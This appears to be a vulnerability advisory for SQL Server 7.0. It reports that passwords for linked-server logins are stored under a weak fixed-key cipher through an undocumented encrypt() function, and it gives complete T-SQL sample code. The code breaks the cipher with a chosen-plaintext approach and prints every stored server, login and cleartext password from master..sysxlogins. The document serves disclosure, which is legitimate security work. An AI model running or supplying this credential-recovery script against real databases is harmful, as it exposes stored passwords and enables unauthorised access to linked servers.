COMMAND

    SQL

SYSTEMS AFFECTED

    SQL Server 7.0

PROBLEM

    Blake  Coverett  found  following.   SQL  Server  7 introduces the
    ability to  link servers.   If the  remote server  is also running
    SQL Server 7  security credentials can  be passed through  in some
    unspecified way.  If the remote server is anything else,  included
    SQL Server 6.5,  linked logins must  be setup to  map local logins
    to the login name  and password to be  used on the remote  server.
    These   linked   logins   and   passwords   are   stored   in  the
    master..sysxlogins  table.   The  passwords  are  encrypted with a
    new,  undocumented,  built-in  function  called  encrypt()  before
    being stored in the password attribute of this table.

    The  SQL  Server  7  encrypt()  function uses an unknown byte-wise
    stream cipher with a fixed key.   That is trivial to break with  a
    chosen plaintext attack  and such an  attack is always  available.
    The  sample  code  below  lists  all  the  server, login, password
    combinations in the  table.  Note:  deducing a way  to decode this
    algorithm required only an examination of the output for  selected
    inputs,  no  reverse  engineering  of  the  algorithm  itself  was
    required.  It  is not strictly  an XOR against  some fixed set  of
    bytes,  but  still  no  excuse  for  not  using a well-known block
    cipher, preferably  with a  machine specific  key stored  with the
    LSA secrets.

    By default the master..sysxlogins table is only readable with  dbo
    rights in master and there  is no reason to expect  administrators
    will have relaxed these permissions.  There is no obvious exposure
    from unprivileged accounts,  but the clear  text of the  passwords
    are visible to anyone with admin privileges in the database.  This
    is a bad thing for all the classic reasons.

    Sample code: */
    
    set nocount on
    declare pwd cursor for
    select s.srvname, l.name, l.password from master..sysservers s
    join master..sysxlogins l on s.srvid = l.srvid where l.sid is not null
    for read only
    
    declare @server varchar(256), @login varchar(256)
    declare @password varbinary(256), @pwdtext nvarchar(128)
    declare @i int, @lsb tinyint, @msb tinyint, @tmp varbinary(256)
    open pwd
    fetch from pwd into @server, @login, @password
    while @@fetch_status = 0
        begin
        set @i = 0
        set @pwdtext = N''
        while @i < datalength(@password)
            begin
            set @tmp = encrypt(@pwdtext + nchar(0))
            set @lsb = convert(tinyint, substring(@tmp, @i + 1, 1))
                ^ convert(tinyint, substring(@password, @i + 1, 1))
            set @i = @i + 1
    
            set @tmp = encrypt(@pwdtext + nchar(@lsb))
            set @msb = convert(tinyint, substring(@tmp, @i + 1, 1))
                ^ convert(tinyint, substring(@password, @i + 1, 1))
            set @i = @i + 1
    
            set @pwdtext = @pwdtext + nchar(convert(smallint, @lsb)
                + 256 * convert(smallint, @msb))
            end
    
        print @server + ', ' + @login + ', ' + @pwdtext
    
        fetch from pwd into @server, @login, @password
        end
    deallocate pwd

SOLUTION

    Nothing yet.